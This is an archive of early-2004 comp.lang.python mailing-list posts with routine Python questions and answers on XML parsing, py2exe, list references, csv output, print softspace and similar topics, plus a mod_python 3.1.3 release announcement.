I'm trying to setup matplotlib (http://matplotlib.sourceforge.net/) in
a Win XP box.

I have two questions:

1. How do I install the GD Lib (http://www.boutell.com/gd)? The zip
contains a compiled dll. Is it enough to put it in /Windows/System32?

2. The python interface to GD at
http://newcenturycomputers.net/projects/gdmodule.html (gdmodule) has a
setup.py script for Linux systems. Is there any windows/multiplatfor
version? I tried to hack it including the /Windows/systm32 dir in the
libdirs variables and renaming the dll file to gd.dll, but the script
doesn't work either.

Thank you in advance.

Ed.


From jcarlson at nospam.uci.edu  Thu Feb  5 22:57:27 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 05 Feb 2004 19:57:27 -0800
Subject: Smart text parsing
In-Reply-To: <bvusjc$3jf$07$1@news.t-online.com>
References: <bvusjc$3jf$07$1@news.t-online.com>
Message-ID: <bvv3fi$8or$2@news.service.uci.edu>


> s = "Hello this is my 1 million word text".split()
> 
> s2 = s.split()
> dict = {}
> for i in s2:         # the loop needs 10s
>         if dict.has_key(i):
>                 dict[i] += 1
>         else:
>                 dict[i] = 1

> list = dict.items()
 > #   this is slow:
 > list.sort(lambda x,y: 2*(x[1] < y[1])-1)


list = zip(dict.values(), dict.keys())
list.sort()

Should be faster due to not using the sort function argument.

  - Josiah


From wstandley at netpv.com  Sat Feb 14 07:53:50 2004
From: wstandley at netpv.com (Will)
Date: Sat, 14 Feb 2004 12:53:50 GMT
Subject: Py2exe... & hiding propritary stuff in the exe
Message-ID: <yToXb.39409$Bb.328706@twister.tampabay.rr.com>

Maybe there is another group for posting this... I am a total newbie to
Python... so please forgive me if I ask a bunch of inappropriate
questions... as I am a big question asker.

If I develope an application in Python and use the Py2exe (hope I have that
right) tool... can I embed certain files... like graphic files... and even
video files... into the exe... so that they reside there, during
execution... as opposed to uncompressing into seperate files upon
installation.

For example, if I have a propritary graphic/slide and/or short propritary
video that I don't want to be a 'standalone' file... like a jpg or mov or
whatever... as I don't want people to be able to re-distribute the proteray
graphic/movie files w/o my application... will Py2exe or some other tool or
method bury those some way... like keeping them as data in the exe file?

It's been a long time since I have programed, but Python has got me
interested again.

Thanks for any suggestions.

Will




From uche at ogbuji.net  Fri Feb 13 10:37:59 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 13 Feb 2004 07:37:59 -0800
Subject: Splitting a DOM
References: <fa538331.0402120759.44f20301@posting.google.com>
Message-ID: <d116fbae.0402130737.7292d75@posting.google.com>

brice.vissiere at costes-gestion.net (Brice Vissi?re) wrote in message news:<fa538331.0402120759.44f20301 at posting.google.com>...
> Hello,
> 
> I would like to handle an XML file structured as following
> <ROOT>
> <STEP>
> ...
> </STEP>
> <STEP>
> ...
> </STEP>
> ...
> </ROOT>
> 
> From this file, I want to build an XML file for each STEP block.
> 
> Currently I'm doing something like:
> 
> from xml.dom.ext.reader import Sax2
> from xml.dom.ext import PrettyPrint
> 
> reader = Sax2.Reader()
> my_dom = reader.fromUri('steps.xml')
> steps = my_dom.getElementsByTagName('STEP')
> 
> i=0
> for step in steps:
> 	tmp = file('step%s.xml' % i,'w')
> 	tmp.write('<?xml version="1.0" encoding="ISO-8859-1" ?>\n')
> 	PrettyPrint(step , tmp , encoding='ISO-8859-1')
> 	tmp.close()
> 	i+=1
> 
> But I'm pretty sure that there's a better way to split the DOM ?

I already gave an Aobind recipe foir this one, but I wanted to also
post a few notes on your chosen approach:

1) "from xml.dom.ext.reader import Sax2" means you're using 4DOM. 
4DOM is very slow.  If you find this is a problem, use minidom.  My
aob ind recipe used cDomlette, which is *very* fast, and even faster
than minidom, certainly, but requires installing 3rd party software.

2) "steps = my_dom.getElementsByTagName('STEP')".  This could give
unexpected results in the case that you have nested STEP elements. 
You might want to use a list comprehension such as

steps = [ step for step in my_dom.documentElement.childNodes if
step.nodeName == u"STEP" ]

Good luck.

--Uche
http://uche.ogbuji.net


From paul at fxtech.com  Fri Feb 27 13:51:56 2004
From: paul at fxtech.com (Paul Miller)
Date: Fri, 27 Feb 2004 12:51:56 -0600
Subject: When things go badly in PyGC_Collect()
In-Reply-To: <c1o082$5mp$1@sea.gmane.org>
References: <403e2bfd.9144015@news.t-online.de> <403f4f86_1@127.0.0.1>
	<6.0.1.1.2.20040227102910.02e02ec0@mail.fxtech.com>
	<c1o082$5mp$1@sea.gmane.org>
Message-ID: <6.0.1.1.2.20040227125144.06584ec0@mail.fxtech.com>


> > Some notes - this is with Python 2.3 BTW, on Windows.
>
>The most recent one?  I belive 2.3.3 had some bug fixes in this area.

Really? I'm running 2.3.2. I'll check it out - thanks!






From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sun Feb  1 12:26:32 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 01 Feb 2004 18:26:32 +0100
Subject: variable creation from a pathname
In-Reply-To: <zoaTb.176324$VW.7187727@news3.tin.it>
References: <zoaTb.176324$VW.7187727@news3.tin.it>
Message-ID: <401d36c8$0$315$e4fe514c@news.xs4all.nl>

gimar wrote:

> I wonder if there's a way to assign a value to the object obtained with:
> 
> from os.path import *
> splitext(basename("c:\pyfiles\sample.txt"))[0]    -----> sample
> 
> and make it possible something like this, for example:
> 
> sample = 123

import os
name=os.path.splitext(os.path.basename("c:\pyfiles\sample.txt"))[0]
myvalue = 123
exec("%s=%d" % (name, myvalue))     # <-- this is what you wanted
print sample

(it will print 123).

--Irmen


From bdelmee at advalvas.REMOVEME.be  Tue Feb 24 14:57:57 2004
From: bdelmee at advalvas.REMOVEME.be (=?ISO-8859-1?Q?Bernard_Delm=E9e?=)
Date: Tue, 24 Feb 2004 20:57:57 +0100
Subject: Regular expressions help
In-Reply-To: <lf30x31q4x40.xnbkp6rqpcsr$.dlg@40tude.net>
References: <6af33541.0402241054.77ae5c61@posting.google.com>
	<403ba857$0$1110$6c56d894@feed0.news.be.easynet.net>
	<lf30x31q4x40.xnbkp6rqpcsr$.dlg@40tude.net>
Message-ID: <403BACC5.5060902@advalvas.REMOVEME.be>

> That one matches the "name george" part of "name georgeharry" as well,
> which he didn't want.

Indeed; my bad. I mostly wanted to mention redemo, for which
the windows installer should create a shortcut, really...



From sdahlbac at abo.fi  Wed Feb 11 06:36:40 2004
From: sdahlbac at abo.fi (Simon Dahlbacka)
Date: 11 Feb 2004 03:36:40 -0800
Subject: xml getElementsByTagName w/o recursion?
Message-ID: <ab4c5633.0402110336.4d786ff6@posting.google.com>

Hello,

this is perhaps not directly a python question, but how do I get a
direct child element without going down the tree and possibly find
another element with the same name there?


<foo>
 <bar>
  <name>This is the interesting part</name>
  <baz>
   <something>...</something>
   <name>this is what I DO NOT want</nameA
  </baz>
 </bar>
</foo>

I am using xml.dom.minidom and I was thinking along the line of

...
fooNode.childNodes.getNamedNode("name")
...
but that doesn't work..

is the only solution to write an own helper function that iterates the
child nodes and get the correct one?

/Simon


From paul at fxtech.com  Fri Feb 27 14:31:40 2004
From: paul at fxtech.com (Paul Miller)
Date: Fri, 27 Feb 2004 13:31:40 -0600
Subject: When things go badly in PyGC_Collect()
In-Reply-To: <c1o082$5mp$1@sea.gmane.org>
References: <403e2bfd.9144015@news.t-online.de> <403f4f86_1@127.0.0.1>
	<6.0.1.1.2.20040227102910.02e02ec0@mail.fxtech.com>
	<c1o082$5mp$1@sea.gmane.org>
Message-ID: <6.0.1.1.2.20040227133126.03003ec0@mail.fxtech.com>


> > Some notes - this is with Python 2.3 BTW, on Windows.
>
>The most recent one?  I belive 2.3.3 had some bug fixes in this area.

Nope - didn't seem to make a difference.





From __peter__ at web.de  Tue Feb 10 06:06:24 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 10 Feb 2004 12:06:24 +0100
Subject: Simple newbie question about parameters handling in functions
	(or am I dump or what?)
References: <hqbh20d9k80eccav78bbsku8hciftnbiuq@4ax.com>
Message-ID: <c0advg$90o$07$1@news.t-online.com>

Niki Iv wrote:

> I am totaly new to Python, although I have quite strong developer
> background. Indeed I am evaluating Python to integrate it (Jython) in
> my Java apps...
> Well this is my first Python day. I am tampering with functions. I
> read that parameters are passed by-value rather than by-reference. So
> function can change wathever parameters reffers to. My troube (well my
> presonal not understanding comes from this)
> 
> Example 1.
> def ChangeList(ListToChange):
> ListToChange[1] = "Line B"
> 
> MyList = ["Line 1","Line 2","Line 3"]
> print MyList
> ChangleList(MyList)
> print MyList
> 
> Result is quite understandable (as in Pythin Bible is..)
> ["Line 1","Line 2","Line 3"]
> ["Line 1","Line B","Line 3"]
> 
> So now function ChangeList.. is
> (1) def ChangeList(ListToChange):
> (2)   ListToChange[1] = "Line B"
> (3)   ListToChange[2] = "Line C"
> (4)   ListToChange = ["Line X","Line Y","Line Z"]
> 
> Result is the same (as it suppose to be..)
> ["Line 1","Line 2","Line 3"]
> ["Line 1","Line B","Line C"]
 
Strange. Most newbies would expect ["Line X","Line Y","Line Z"] (abreviated
[XYZ] hereafter). If you want to change the original list to [XYZ] at once,
do

ListToChange[:] = ["Line X", "Line Y", "Line Z"]

instead.
 
> But now... I am swaping line
> (1)def ChangeList(ListToChange):
> (2)   ListToChange[1] = "Line B"
> (3)   ListToChange = ["Line X","Line Y","Line Z"]
> (4)   ListToChange[2] = "Line C"
 
In (3) you are rebinding the local identifier ListToChange to the new [XYZ]
list. Every change that follows affects this list, so at the end of the
function you throw away the [XYC] list. You can easily verify that by
inserting a print statement into the function. By the way, wouldn't that be
the same in Java? If you think of Python as an "all pointers" language, you
should get it mostly right.

> I have only swapped line 3 and 4.

(1) animal = Monkey()
(2) animal.eatBanana()
(3) animal = Bird()
(4) animal.layEgg()

Expect to see strange things happen if you change lines 3 and 4 :-)
ListToChange = [...] has the same structure as my (3) - except that you
stuck to the same type while I switched to make it more obvious.

Peter



From seberino at spawar.navy.mil  Wed Feb  4 23:36:11 2004
From: seberino at spawar.navy.mil (Christian Seberino)
Date: 4 Feb 2004 20:36:11 -0800
Subject: C extension=> pow(2,
	1) gives DIFFERENT answers in different parts of C extension!?!?!
	Any ideas why?
References: <bf23f78f.0402020018.4e67de2b@posting.google.com>
	<mailman.1122.1075727212.12720.python-list@python.org>
Message-ID: <bf23f78f.0402042036.2f0d98fb@posting.google.com>

Jeff

I can't tell you how glad I am for your post.  Your hunch
was EXACTLY right.

Chris


Jeff Epler <jepler at unpythonic.net> wrote in message news:<mailman.1122.1075727212.12720.python-list at python.org>...
> This may be a simple "C" error.  If you call pow() without a prototype
> in scope, a compiler will not necessarily give you an error.  However,
> the return type of pow() will be int, not double.  In that case,
> anything can happen.
> 
> $ cat seberino.c
> #ifdef RIGHT
> #include <math.h>
> #endif
> 
> #include <stdio.h>
> 
> int main(void) { printf("%f\n", pow(2, 1)); }
> $ gcc seberino.c -lm && ./a.out
> -1.993340
> $ gcc seberino.c -lm -DRIGHT && ./a.out
> 2.000000
> 
> You might consider enabling more compiler warnings:
> $ gcc -Wall seberino.c -lm
> seberino.c: In function `main':
> seberino.c:7: warning: implicit declaration of function `pow'
> seberino.c:7: warning: double format, different type arg (arg 2)
> seberino.c:7: warning: control reaches end of non-void function
> 
> Jeff


From jzgoda at gazeta.usun.pl  Fri Feb 13 18:11:09 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Fri, 13 Feb 2004 23:11:09 +0000 (UTC)
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
	<c0jkc4$eds$1@atlantis.news.tpi.pl>
	<EJcXb.30763$uV3.53262@attbi_s51>
Message-ID: <c0jlic$eds$4@atlantis.news.tpi.pl>

Rainer Deyke <rainerd at eldwood.com> pisze:

>>> Most of humanity doesn't use XML, so that's silly.
>>
>> Most of humanity doesn't use ASCII.
> 
> Most of humanity doesn't use computers.

So... Should we write programs by drawing circles on the sand?

(Just wanted to say that most of humanity cann't read, but surely this
isn't true in XXI century.)

-- 
Jarek Zgoda
http://jpa.berlios.de/


From nicodemus at esss.com.br  Tue Feb 17 20:19:53 2004
From: nicodemus at esss.com.br (Nicodemus)
Date: Tue, 17 Feb 2004 22:19:53 -0300
Subject: XML Parsing
In-Reply-To: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
Message-ID: <4032BDB9.6040109@esss.com.br>

Tyler Eaves wrote:

>Hi,
>
>	Right now I'm using xml.dom.minidom for parsing some xml files. It
>	works, certainly, but the speed leaves a bit to be desired. Are there
>	any other XML modules that offer the same interface minidom does, but
>	are faster? Things like validation are not a big deal for me, as all
>	the XML is generated by my own programs, so I'm not worried about
>	malformed documents.
>

Take a look at Fredrik Lundh's element tree:
http://effbot.org/zone/element-index.htm

It's fast and very pythonic... I use it all the time.

Regards,
Nicodemus.




From grisha at apache.org  Wed Feb 25 09:03:39 2004
From: grisha at apache.org (Gregory (Grisha) Trubetskoy)
Date: Wed, 25 Feb 2004 09:03:39 -0500
Subject: ANNOUNCE: Mod_python 3.1.3
Message-ID: <20040223140927.T38146@onyx.ispol.com>


The Apache Software Foundation and The Apache HTTP Server Project are
pleased to announce the 3.1.3 release of mod_python. Mod_python 3.1.3 is
considered a stable release, suitable for production use.

Mod_python is an Apache HTTP Server module that embeds the Python language
interpreter within the server. With mod_python you can write web-based
applications in Python that will run many times faster than traditional
CGI and will have access to advanced features such as ability to maintain
objects between requests, access to httpd internals, content filters and
connection handlers.

This release includes several features not available in the previous
stable release (3.0.x). Some feature highlights:

* Native cookie support, including support for automatic cryptographic
  cookie signing and marshalling.

* Server-side sessions with memory or dbm-based storage and session
  locking support.

* PSP - a fast flex-based scanner which allows embedding Python code
  within HTML.

Mod_python 3.1.3 is released under the new Apache License version 2.0.

Mod_python 3.1.3 is available for download from:

http://httpd.apache.org/modules/python-download.cgi

More infromation about mod_python is available at:

http://httpd.apache.org/modules/

Regards,

Grisha Trubetskoy


From paul at prescod.net  Mon Feb  9 11:37:15 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 09 Feb 2004 08:37:15 -0800
Subject: Reference gotcha
In-Reply-To: <200402091646.41448.schofield@ftw.at>
References: <200402091646.41448.schofield@ftw.at>
Message-ID: <4027B73B.9040304@prescod.net>

Ed Schofield wrote:

> Hi all,
> This interested me:
> 
> 
>>>>a1 = a2 = {}
>>>>a1['blah'] = 1
>>>>a2
> 
> {'blah': 1}
> 
>>>>a1 == a2
> 
> True

A more direct test would be

 >>> a1 is a2
True

or

 >>> print id(a1)
43243
 >>> print id(a2)
43243

>>>>b1 = b2 = 0
>>>>b1 += 1
>>>>b2
> 
> 0
> 
>>>>b1 == b2
> 
> False
> 
> So how should one create a robust alias for a numeric type?

b1 _is_ a robust alias for the object "0". It is not an alias for the 
variable "b1". Since the object "0" is not changed when you add 1 to the 
variable "b1", "b2" is unaffected.

> This bit me when I was trying to do the following in a class:
> 	def __init__(self, data):
> 		a = self.a = {}
> 		b = self.b = {}
> 		c = self.c = 0
> 
> 		# and increment them here ...

Why wouldn't you just increment "self.c" instead of "c". You could even 
rename "self" to "s" so you just need to update "s.c". Alternately you 
could update self.c at the bottom of the function after you've done your 
computation. But if you want to rebind "self.c" to a new integer value 
there is no way to do it except via the "." operator.

Integers are immutable so you can only ever replace a binding to an 
integer, never change the integer. It would wreak total havoc if people 
could change the integer "0" into "1". Every time you wanted to pass 
around an integer you would have to be careful to copy it rather than 
merely referencing it.

Interestingly, most people are confused by the fact that list mutations 
are shared across references, not by the fact that integers are immutable!

  Paul Prescod





From R.Brodie at rl.ac.uk  Thu Feb  5 06:59:08 2004
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Thu, 5 Feb 2004 11:59:08 -0000
Subject: Creating a variable of a specific type
References: <mailman.1236.1075978481.12720.python-list@python.org>
Message-ID: <bvtb6d$ls6@newton.cc.rl.ac.uk>


"Dan Williams" <dan at ithium.net> wrote in message
news:mailman.1236.1075978481.12720.python-list at python.org...

> ...this is an except of a sample of different types that I am using. From
> looking at the documentation for the Python socket module, for instance, I
> can see that the function socket.inet_ntoa() requires a variable in struct
> in_addr form, just like in C++.

It would be more helpful to say that inet_ntoa is a way to deal with a
variable in packed format. Unless you are deserializing from a buffer
(e.g for a binary wire protocol), or embedding 'C' code you probably
don't need to use it anyway.

It might be worth investing a few minutes playing with the example
socket programs from the Python docs, even if you are an experienced
programmer: http://www.python.org/doc/current/lib/socket-example.html







From skip at pobox.com  Fri Feb 13 15:50:19 2004
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 13 Feb 2004 14:50:19 -0600
Subject: csv writerow creates double spaced excel csv files
In-Reply-To: <Law10-F55EeQduiEKAa000141fc@hotmail.com>
References: <Law10-F55EeQduiEKAa000141fc@hotmail.com>
Message-ID: <16429.14475.708304.545099@montanaro.dyndns.org>


    Michael> For some reason, when I write data to a csv file using the csv
    Michael> module of python 2.3 and then open it in excel, every row is
    Michael> double spaced.  I want the csv file to have every row filled
    Michael> with data not every other row.  Is there a way I can fix this.

Make sure you open the output file with the 'b'inary flag.  The csv writer
class takes care of line termination.

Skip



From sross at connectmail.carleton.ca  Sun Feb 29 15:48:55 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Sun, 29 Feb 2004 15:48:55 -0500
Subject: Best way to create a Dictionary from file of Key-Value pairs?
References: <692feddd.0402291222.6f2d619e@posting.google.com>
Message-ID: <8js0c.177$JZ6.49845@news20.bellglobal.com>

"Equis Uno" <ir4u4 at yahoo.com> wrote in message
news:692feddd.0402291222.6f2d619e at posting.google.com...
> Hi,
>
> Assume I'm given a 100k file full of key-value pairs:
>
> date,value
> 26-Feb-04,36.47
> 25-Feb-04,36.43
> 24-Feb-04,36.30
> 23-Feb-04,37.00
> 20-Feb-04,37.00
> 19-Feb-04,37.87
>
> What is the best way to copy this data into a Dictionary object?
>
> -moi

Here's one way:

d = dict([l.strip().split(',') for l in open(fname)])

This opens the file, reads one line at a time, trims the beginning and end
of the line, splits the line at the comma delimiter - your key-value pairs -
and builds a list of these key-value pairs which is then used by dict() to
make a new dictionary. This is not really a robust solution, but you get the
idea. Your solution may require more processing if you want the values to be
floats (for example) or if there might be blank lines or extra white space
in the data, or whatever other issues you may want to guard against. Plus,
you may want to move the open() operation outside of the list comprehension
so you can check/handle possible errors (like file not found, for instance),
as well as close the file, that sort of thing ...

HTH,
Sean




From ville at spammers.com  Thu Feb 19 14:42:52 2004
From: ville at spammers.com (Ville Vainio)
Date: 19 Feb 2004 21:42:52 +0200
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<KhKYb.15131$aH3.495341@bgtnsc04-news.ops.worldnet.att.net>
Message-ID: <du7r7wqvosj.fsf@mozart.cc.tut.fi>

>>>>> "Andrew" == Andrew Koenig <ark at acm.org> writes:

    Andrew> Any loop that is currently written in the form

    Andrew> while True: <statements> if condition: break more
    Andrew> statements

Why not just make a new keyword, 'loop', an alias of "while 1"?

Usually it seems that the 'get data to process' is done immediately
after "while 1", and the break immediately after that. It's a good
construct, easy to understand and easy to type (if you use 'while 1'
instead of 'while True', that is - 'while True' seems like a rather
pointless excercise to me).

Also, the proposed construct doesn't IMVHO seem less cryptic at all -
exactly the opposite, in fact.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From yin_12180 at yahoo.com  Tue Feb  3 00:58:13 2004
From: yin_12180 at yahoo.com (Yin)
Date: 2 Feb 2004 21:58:13 -0800
Subject: unittest and private methods
Message-ID: <88caaeda.0402022158.3a7923ac@posting.google.com>

I am an avid user of unittest and write tests for everything. Every so
often, I write a class that has some private methods that I only want
to be called from within the class. I usually write unittests for
these private methods using the mangled form of the call from a test
script file. It's not very elegant, and I wanted to get some feedback
on how others write unit tests for private methods.

I suppose that I could just not use private methods, and have them all
be public, but it's a lot cleaner for me to hide all the other
extraneous methods rather than expose them to the public.

Thanks,
Yin


From eastier at free.fr  Tue Feb 10 14:06:44 2004
From: eastier at free.fr (Emmanuel)
Date: Tue, 10 Feb 2004 20:06:44 +0100
Subject: How to bound a method to a instance ?
References: <4026DC5D.591FB4FD@free.fr> <c079q4$ml7$00$1@news.t-online.com>
Message-ID: <40292BC4.40F29D47@free.fr>

Wonderfull !!

I thank you very much for this clear explanation...

Emmanuel

=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?= a ?crit :

> Emmanuel wrote:
> > main module :
> > --------------
> > import toto
> >
> > a = toto.toto()
> > a.method() -> does something ...
> >
> > reload (toto)
> > now a is not reloaded...
> >
> > a.method = toto.toto().method
> > does not work, because a.method would be bounded to a new instance...
>
> It might be best to change the class of a:
>
> reload (toto)
> a.__class__ = toto.toto
>
> Then, a.method will automatically become the new method. Of course,
> this will also change all other methods of toto, not just method.
>
> If you really want to change only method, you could do
>
> a.__class__.__dict__['method'] = toto.toto.__dict__['method']
>
> That would change just method, but of all instances of the old
> definition of toto.toto.
>
> If you really want to change only one method, and only of one
> object, you need to use new.instancemethod:
>
> a.method = new.instancemethod(toto.toto.method.im_func, a, a.__class__)
>
> Regards,
> Martin



From invalid at hazen.net  Fri Feb 27 19:33:40 2004
From: invalid at hazen.net (John Hazen)
Date: Fri, 27 Feb 2004 16:33:40 -0800
Subject: I just don't get it
In-Reply-To: <3b3f63ed.0402271516.55d3781e@posting.google.com>
References: <3b3f63ed.0402271516.55d3781e@posting.google.com>
Message-ID: <20040228003340.GA7459@gate2.hazen.net>

* Eduardo Elgueta <eelgueta at navix.cl> [2004-02-27 16:18]:
> Hi All,
> 
> Would anyone be so kind to explain this?
> 
> -- begin --
> >>> (176L,) > 300
> True
> --end--

Comparing objects of different types (tuple and integer in your
example), while deterministic within a specific python version, puts
them in an arbitrary order.

>>> () > 300
True
>>> () > []
True
>>> [] > ()
False
>>> 'a' > 300
True
>>> 'a' > ()
False
>>> () > 'a' > 300
True
>>> [] > 'a'
False
>>> [] > 300
True
>>> () > 'a' > [] > 300
True


So, you probably don't want to be comparing disparate types and
attaching any meaning to the result.

If you wanted to compare the two numbers in your example, you would want
to index the tuple to get at the value inside it:

>>> (176L,) > 300
True
>>> (176L,)[0] > 300
False


HTH-

John
< my_first_name AT my_last_name DOT net >



From anton at vredegoor.doge.nl  Sun Feb  8 15:11:50 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Sun, 08 Feb 2004 21:11:50 +0100
Subject: string to integer problem
References: <pan.2004.02.08.16.29.02.415446@lolmc.com>
	<c05pur$r2n$05$2@news.t-online.com>
	<pan.2004.02.08.17.13.43.708339@lolmc.com>
Message-ID: <4026982c$0$143$3a628fcd@reader1.nntp.hccnet.nl>

Lol McBride <newspost at lolmc.com> wrote:

>thanks for this it worked a treat but I don't understand how - even after
>reading the docs for the eval() builtin function.Could you explain what's
>going on (in fairly simple terms as well - I'm a programmer for fun not
>cause it's my job)

Sorry, but programmers for fun are expected to do better than
microslaves! Resist this professional nonsense.

Anton


From aahz at pythoncraft.com  Thu Feb  5 08:40:56 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 08:40:56 -0500
Subject: [OPINION] - does language really matter if they
	alldothe	samething?
References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>
	<D3AD8358-4F90-11D8-BCE5-0003934ACDEC@zdome.net>
	<bv1t4e$2fh$1@sea.gmane.org>
	<mailman.789.1075096990.12720.python-list@python.org>
Message-ID: <bvth58$mu3$1@panix2.panix.com>

In article <mailman.789.1075096990.12720.python-list at python.org>,
Dietrich Epp  <dietrich at zdome.net> wrote:
>
>P.P.S. I thought of a paradigm that would be exceptionally painful to 
>implement in Python.  It's a function found in some flavors of Lisp 
>called 'arb'.  It returns its argument which causes the program to exit 
>successfully, otherwise causes the program to exit unsuccessfully.  
>Think about that.

Well, the problem seems underspecified to me.  I can think of a number
of easy ways to implement *something* like what you describe, but I
haven't any clue whether they match what you're thinking of.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From tim at axtelle.com  Thu Feb 19 21:03:29 2004
From: tim at axtelle.com (Tim Axtelle)
Date: 19 Feb 2004 18:03:29 -0800
Subject: py2exe problem - need wsvc6?
Message-ID: <fc96c968.0402191803.62f9465a@posting.google.com>

I am new to Python and am trying to create a standalone exe from a
python script using py2exe 0.5.0 and Python 2.3 without success.  I am
able to generate the appropriate .exe file but it is not executable. 
Running it does absolutely nothing.

The sourceforge site says that wsvc6 is required for py2exe.  Is this
true?  If so, it is contradiction with the python faq which claims
that no C compiler is necessary with py2exe.

I also tried Gordon Mcmillan's installer which I found completely
incomprehensible despite the prodigous "easy to use" claims.

Please help this obviously flustered newbie.  Thanks in advance.


From rmkrauter at yahoo.com  Wed Feb 11 16:28:38 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Wed, 11 Feb 2004 13:28:38 -0800 (PST)
Subject: sets and subsets
Message-ID: <20040211212838.99662.qmail@web40102.mail.yahoo.com>

> How do I test set c to find what it contains and
then look at set b to 
> see if it contains any of those same numbers, and if
so, remove them.

Sorry, I hit something and it sent the last message
before I was finished:

use sets module, or 

>>> b = []
>>> for item in a:
>>> ... if item not in c:
>>> ...    b.append(i)  

You may want to review the properties of lists. A
quick skim of the docs every once in a while has done
me a lot of good.

Rich

__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From jimmy at retzlaff.com  Sat Feb 28 23:35:47 2004
From: jimmy at retzlaff.com (Jimmy Retzlaff)
Date: Sat, 28 Feb 2004 20:35:47 -0800
Subject: example code to access some C++ classes in a DLL
Message-ID: <A7B5C22F20EE3C4E95744E2F03F1887F1B906E@MAYOR.retzlaff.com>

Larry Bates wrote:

>> i have written a DLL that implements some C++ classes and
>> their methods.  Now i would like to make the classes and
>> their methods known to python.
>
> You can interface Python to ANY .DLL by using
> CALLDLL.  I've written a wrapper that I feel makes
> doing this easier that is posted at:
> 
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/146847

Thomas Heller's ctypes also makes calling most DLLs very simple, but
neither of these approaches are well suited to using classes and methods
in C++ DLLs. C++ compilers do name mangling (i.e., they tack extra
symbols onto function names) to implement function overloading. You'd
have to look up the mangling to figure out what to call and this
mangling often differs between different compilers and sometimes between
different versions of the same compiler. Name mangling (and hence
function overloading) can be turned off in some (all?) C++ compilers for
normal functions, but I'm not sure name mangling can be disabled for
methods (which typically have their classes encoded into their names).

Jimmy




From bart_nessux at hotmail.com  Wed Feb  4 11:05:47 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Wed, 04 Feb 2004 11:05:47 -0500
Subject: class or function
Message-ID: <bvr58r$h1e$1@solaris.cc.vt.edu>

What is the significant difference between using a class, like this:

class threaded_ddos(Thread):
    def run(self):
       pass
if __name__ == '__main__':

Or, using functions, like this:

def threaded_ddos(Thread):
    def run():
       pass
    run()
threaded_ddos()

I'm trying to better understand this difference. I tend to use functions 
that call functions instead of classes that contain functions which I 
can import. To me, functions within functions are simpler. The results 
of either method are the same, but I must ask which is preferred and 
why? Are both OK depending on the application? I don't do inheritance 
type stuff.



From npat at efault.net  Sat Feb 28 11:59:27 2004
From: npat at efault.net (Nick Patavalis)
Date: Sat, 28 Feb 2004 16:59:27 +0000 (UTC)
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
	<edc2QLAGMJQAFwoM@jessikat.fsnet.co.uk>
Message-ID: <slrnc41i7e.81f.npat@localhost.localdomain>

In article <edc2QLAGMJQAFwoM at jessikat.fsnet.co.uk>, Robin Becker wrote:
> 
> 
> ##############
> class hidesoftspace:
>     def __init__(self,fobj):
>         self.__dict__['_fobj'] = fobj
>         fobj.softspace = False
>     def __getattr__(self,a):
>         if a=='softspace': return False
>         return getattr(self._fobj,a)
>     def __setattr__(self,a,v):
>         if a=='softspace': return
>         setattr(self._fobj,a,v)
> 
> import sys
> print 'before hiding',1,2,3,4
> sys.stdout=hidesoftspace(sys.stdout)
> print 'after  hiding',1,2,3,4
> ##############

Would you perhaps care to comment a bit more, or provide a pointer to
some docs? It seems that there is a "softspace" atribute in the
sys.stdout file object, and that this attribute gets set by the print
statement itself. With your clever trick you make it imposible for
someone to set this attribute to anything else but "False". What are
the exact semantics behind this?

I tried this:

  import sys
  print sys.stdout.softspace
  0
  print "test:", 1, 2, 3, sys.stdout.softspace
  test: 1 2 3 1
  print sys.stdout.softspace
  0

Which seems to support my explanation, but what exactly are the
semantics of "softspace"?

Thanks
/npat




From bbrown at speakeasy.net  Tue Feb 17 19:37:28 2004
From: bbrown at speakeasy.net (Robert E. Brown)
Date: 17 Feb 2004 19:37:28 -0500
Subject: Parsers with Python
References: <mailman.65.1077031094.31398.python-list@python.org>
	<CNadnWAQwIihza_dRVn_iw@speakeasy.net>
Message-ID: <87oerxkyt3.fsf@loki.bibliotech.com>


On Tue, 17 Feb 2004 10:18:07 -0500, 
	Daniel Carrera <dcarrera at math.umd.edu> wrote:
> I want to write a parser for BibTeX.  A BibTeX file is a collection of 
> entries that look like this:


